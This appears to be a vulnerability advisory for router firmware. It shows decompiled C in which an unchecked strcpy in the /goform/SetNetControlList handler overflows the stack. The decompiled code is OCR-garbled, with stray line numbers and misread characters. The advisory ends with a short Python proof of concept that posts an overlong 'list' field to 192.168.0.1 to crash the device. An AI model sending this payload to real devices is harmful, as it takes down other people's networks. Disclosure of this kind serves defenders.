

```
memset(v5, 0, sizeof(v5));
v2 = WebGetVar((int)a1, (int)"list", "");
    sub_4325BC((int)v2, '\n');
10 signal(18, 1);
11
     v3 = fork();
12
     if (!v3)
     {
 13
       set tc rule();
14
       exit(0);
15
 16
     if ( v3 > 0 )
17
 18
     ſ
```

However, in the sub\_4325BC function, it calls the strcpy function to a1 to v14 without any security check, which causes the stack overflow.

```
24
     V12[0] = 0;
25
     V12[1] = 0;
26
     V12[2] = 0;
27
     V12[3] = 0;
28 memset(v15, 0, sizeof(v15));
29 sub 43222C();
     while (1)
90
 31
     {
       v4 = ( BYTE *)strchr(a1, a2);
32
33
       if (!v4)
         break;
34
35
       *v4 = 0;
       v5 = (int)(v4 + 1);
36
       memset(v14, 0, sizeof(v14));
37
       strcpy(v14, a1);
38
       if ( v14[0] == 59 )
39
 10
```

So by POSTing the page /goform/SetNetControlList with long list, the attacker can easily perform a Denial of Service(DoS).

## **POC**

Poc of Denial of Service(DoS):

```
import requests
```

```
url = "http://192.168.0.1/goform/SetNetControlList"
list_data = 'a'*0x1000 + '\n'
r = requests.post(url, data={'list': list_data})
print(r.content)
```